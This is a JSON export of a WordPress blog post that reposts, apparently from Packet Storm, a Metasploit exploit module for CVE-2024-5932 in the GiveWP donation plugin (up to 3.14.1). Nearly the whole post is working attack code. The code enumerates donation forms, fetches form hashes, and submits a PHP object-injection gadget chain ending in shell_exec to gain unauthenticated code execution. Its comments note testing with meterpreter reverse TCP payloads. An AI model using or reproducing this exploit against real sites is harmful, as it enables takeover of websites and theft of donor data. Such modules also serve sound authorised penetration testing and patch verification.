{"id":59229,"date":"2024-08-29T19:59:38","date_gmt":"2024-08-29T16:59:38","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/180463\/wp_givewp_rce.rb.txt"},"modified":"2024-08-29T19:59:38","modified_gmt":"2024-08-29T16:59:38","slug":"wordpress-givewp-donation-fundraising-platform-3-14-1-code-execution","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/wordpress-givewp-donation-fundraising-platform-3-14-1-code-execution\/","title":{"rendered":"WordPress GiveWP Donation \/ Fundraising Platform 3.14.1 Code Execution"},"content":{"rendered":"<p>##<br \/># This module requires Metasploit: https:\/\/metasploit.com\/download<br \/># Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>##<\/p>\n<p>class MetasploitModule &lt; Msf::Exploit::Remote<br \/>Rank = ExcellentRanking<\/p>\n<p>include Msf::Exploit::Remote::HttpClient<br \/>include Msf::Exploit::Remote::HTTP::Wordpress<br \/>prepend Msf::Exploit::Remote::AutoCheck<\/p>\n<p>def initialize(info = {})<br \/>super(<br \/>update_info(<br \/>info,<br \/>&#8216;Name&#8217; =&gt; &#8216;GiveWP Unauthenticated Donation Process Exploit&#8217;,<br \/>&#8216;Description&#8217; =&gt; %q{<br \/>The GiveWP Donation Plugin and Fundraising Platform plugin for WordPress in all versions up to and including 3.14.1 is vulnerable to a PHP Object Injection (POI) attack granting an unauthenticated arbitrary code execution.<br \/>},<\/p>\n<p>&#8216;License&#8217; =&gt; MSF_LICENSE,<br \/>&#8216;Author&#8217; =&gt; [<br \/>&#8216;Villu Orav&#8217;, # Initial Discovery<br \/>&#8216;EQSTSeminar&#8217;, # Proof of Concept<br \/>&#8216;Julien Ahrens&#8217;, # Vulnerability Analysis<br \/>&#8216;Valentin Lobstein&#8217; # Metasploit Module<br \/>],<br \/>&#8216;References&#8217; =&gt; [<br \/>[&#8216;CVE&#8217;, &#8216;2024-5932&#8217;],<br \/>[&#8216;URL&#8217;, &#8216;https:\/\/github.com\/EQSTSeminar\/CVE-2024-5932&#8217;],<br \/>[&#8216;URL&#8217;, &#8216;https:\/\/www.rcesecurity.com\/2024\/08\/wordpress-givewp-pop-to-rce-cve-2024-5932&#8217;],<br \/>[&#8216;URL&#8217;, &#8216;https:\/\/www.wordfence.com\/blog\/2024\/08\/4998-bounty-awarded-and-100000-wordpress-sites-protected-against-unauthenticated-remote-code-execution-vulnerability-patched-in-givewp-wordpress-plugin&#8217;]],<br \/>&#8216;DisclosureDate&#8217; =&gt; &#8216;2024-08-25&#8217;,<br \/>&#8216;Platform&#8217; =&gt; %w[unix linux win],<br \/>&#8216;Arch&#8217; =&gt; [ARCH_CMD],<br \/>&#8216;Privileged&#8217; =&gt; false,<br \/>&#8216;Targets&#8217; =&gt; [<br \/>[<br \/>&#8216;Unix\/Linux Command Shell&#8217;,<br \/>{<br \/>&#8216;Platform&#8217; =&gt; %w[unix linux],<br \/>&#8216;Arch&#8217; =&gt; ARCH_CMD<br \/># tested with cmd\/linux\/http\/x64\/meterpreter\/reverse_tcp<br \/>}<br \/>],<br \/>[<br \/>&#8216;Windows Command Shell&#8217;,<br \/>{<br \/>&#8216;Platform&#8217; =&gt; &#8216;win&#8217;,<br \/>&#8216;Arch&#8217; =&gt; ARCH_CMD<br \/># tested with cmd\/windows\/http\/x64\/meterpreter\/reverse_tcp<br \/>}<br \/>]],<br \/>&#8216;DefaultTarget&#8217; =&gt; 0,<br \/>&#8216;Notes&#8217; =&gt; {<br \/>&#8216;Stability&#8217; =&gt; [CRASH_SAFE],<br \/>&#8216;Reliability&#8217; =&gt; [REPEATABLE_SESSION],<br \/>&#8216;SideEffects&#8217; =&gt; [IOC_IN_LOGS, ARTIFACTS_ON_DISK]}<br \/>)<br \/>)<br \/>end<\/p>\n<p>def check<br \/>return CheckCode::Unknown unless wordpress_and_online?<\/p>\n<p>print_status(&#8220;WordPress Version: #{wordpress_version}&#8221;) if wordpress_version<br \/>check_code = check_plugin_version_from_readme(&#8216;give&#8217;, &#8216;3.14.2&#8217;)<br \/>return CheckCode::Safe unless check_code.code == &#8216;appears&#8217;<\/p>\n<p>print_good(&#8220;Detected GiveWP Plugin version: #{check_code.details[:version]}&#8221;)<br \/>CheckCode::Appears<br \/>end<\/p>\n<p>def exploit<br \/>forms = fetch_form_list<br \/>fail_with(Failure::UnexpectedReply, &#8216;No forms found.&#8217;) if forms.empty?<\/p>\n<p>selected_form = forms.sample<br \/>valid_form = retrieve_and_analyze_form(selected_form[&#8216;id&#8217;])<\/p>\n<p>return print_error(&#8216;Failed to retrieve a valid form for exploitation.&#8217;) unless valid_form<\/p>\n<p>print_status(&#8220;Using Form ID: #{valid_form[&#8216;give_form_id&#8217;]} for exploitation.&#8221;)<br \/>send_exploit_request(<br \/>valid_form[&#8216;give_form_id&#8217;],<br \/>valid_form[&#8216;give_form_hash&#8217;],<br \/>valid_form[&#8216;give_price_id&#8217;],<br \/>valid_form[&#8216;give_amount&#8217;])<br \/>end<\/p>\n<p>def fetch_form_list<br \/>res = send_request_cgi(<br \/>&#8216;method&#8217; =&gt; &#8216;POST&#8217;,<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;wp-admin&#8217;, &#8216;admin-ajax.php&#8217;),<br \/>&#8216;data&#8217; =&gt; &#8216;action=give_form_search&#8217;<br \/>)<\/p>\n<p>return print_error(&#8216;Failed to retrieve form list.&#8217;) unless res&amp;.code == 200<\/p>\n<p>forms = JSON.parse(res.body)<br \/>form_ids = forms.map { |form| form[&#8216;id&#8217;] }.sort<\/p>\n<p>print_good(&#8220;Successfully retrieved form list. Available Form IDs: #{form_ids.join(&#8216;, &#8216;)}&#8221;)<br \/>forms<br \/>end<\/p>\n<p>def retrieve_and_analyze_form(form_id)<br \/>form_res = send_request_cgi(<br \/>&#8216;method&#8217; =&gt; &#8216;POST&#8217;,<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;wp-admin&#8217;, &#8216;admin-ajax.php&#8217;),<br \/>&#8216;vars_post&#8217; =&gt; { &#8216;action&#8217; =&gt; &#8216;give_donation_form_nonce&#8217;, &#8216;give_form_id&#8217; =&gt; form_id }<br \/>)<\/p>\n<p>return unless form_res&amp;.code == 200<\/p>\n<p>form_data = JSON.parse(form_res.body)<br \/>give_form_id = form_id<br \/>give_form_hash = form_data[&#8216;data&#8217;]give_price_id = &#8216;0&#8217;<br \/>give_amount = &#8216;$10.00&#8217;<br \/># Somehow, can&#8217;t randomize give_price_id and give_amount otherwise the exploit won&#8217;t work.<\/p>\n<p>return unless give_form_hash<\/p>\n<p>{<br \/>&#8216;give_form_id&#8217; =&gt; give_form_id,<br \/>&#8216;give_form_hash&#8217; =&gt; give_form_hash,<br \/>&#8216;give_price_id&#8217; =&gt; give_price_id,<br \/>&#8216;give_amount&#8217; =&gt; give_amount<br \/>}<br \/>end<\/p>\n<p>def send_exploit_request(give_form_id, give_form_hash, give_price_id, give_amount)<br \/>final_payload = format(<br \/>&#8216;O:19:&#8221;Stripe\\\\\\\\\\\\\\\\StripeObject&#8221;:1:{s:10:&#8221;\\\\0*\\\\0_values&#8221;;a:1:{s:3:&#8221;foo&#8221;;&#8217; \\<br \/>&#8216;O:62:&#8221;Give\\\\\\\\\\\\\\\\PaymentGateways\\\\\\\\\\\\\\\\DataTransferObjects\\\\\\\\\\\\\\\\GiveInsertPaymentData&#8221;:1:{&#8216; \\<br \/>&#8216;s:8:&#8221;userInfo&#8221;;a:1:{s:7:&#8221;address&#8221;;O:4:&#8221;Give&#8221;:1:{s:12:&#8221;\\\\0*\\\\0container&#8221;;&#8217; \\<br \/>&#8216;O:33:&#8221;Give\\\\\\\\\\\\\\\\Vendors\\\\\\\\\\\\\\\\Faker\\\\\\\\\\\\\\\\ValidGenerator&#8221;:3:{s:12:&#8221;\\\\0*\\\\0validator&#8221;;&#8217; \\<br \/>&#8216;s:10:&#8221;shell_exec&#8221;;s:12:&#8221;\\\\0*\\\\0generator&#8221;;&#8217; \\<br \/>&#8216;O:34:&#8221;Give\\\\\\\\\\\\\\\\Onboarding\\\\\\\\\\\\\\\\SettingsRepository&#8221;:1:{&#8216; \\<br \/>&#8216;s:11:&#8221;\\\\0*\\\\0settings&#8221;;a:1:{s:8:&#8221;address1&#8243;;s:%&lt;length&gt;d:&#8221;%&lt;encoded&gt;s&#8221;;}}&#8217; \\<br \/>&#8216;s:13:&#8221;\\\\0*\\\\0maxRetries&#8221;;i:10;}}}}}}&#8217;,<br \/>length: payload.encoded.length,<br \/>encoded: payload.encoded<br \/>)<\/p>\n<p>data = {<br \/>&#8216;give-form-id&#8217; =&gt; give_form_id,<br \/>&#8216;give-form-hash&#8217; =&gt; give_form_hash,<br \/>&#8216;give-price-id&#8217; =&gt; give_price_id,<br \/>&#8216;give-amount&#8217; =&gt; give_amount,<br \/>&#8216;give_first&#8217; =&gt; Faker::Name.first_name,<br \/>&#8216;give_last&#8217; =&gt; Faker::Name.last_name,<br \/>&#8216;give_email&#8217; =&gt; Faker::Internet.email,<br \/>&#8216;give_title&#8217; =&gt; final_payload,<br \/>&#8216;give-gateway&#8217; =&gt; &#8216;offline&#8217;,<br \/>&#8216;action&#8217; =&gt; &#8216;give_process_donation&#8217;<br \/>}<\/p>\n<p>send_request_cgi({<br \/>&#8216;method&#8217; =&gt; &#8216;POST&#8217;,<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;wp-admin&#8217;, &#8216;admin-ajax.php&#8217;),<br \/>&#8216;data&#8217; =&gt; URI.encode_www_form(data)<br \/>}, 0)<br \/>end<br \/>end<\/p>\n","protected":false},"excerpt":{"rendered":"<p>### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## class MetasploitModule &lt; Msf::Exploit::RemoteRank = ExcellentRanking include Msf::Exploit::Remote::HttpClientinclude Msf::Exploit::Remote::HTTP::Wordpressprepend Msf::Exploit::Remote::AutoCheck def initialize(info = {})super(update_info(info,&#8216;Name&#8217; =&gt; &#8216;GiveWP Unauthenticated Donation Process Exploit&#8217;,&#8216;Description&#8217; =&gt; %q{The GiveWP Donation Plugin and Fundraising Platform plugin for WordPress in all versions up to and including 3.14.1 is vulnerable to a PHP Object Injection &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59229","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59229","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59229"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59229\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59229"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59229"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59229"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}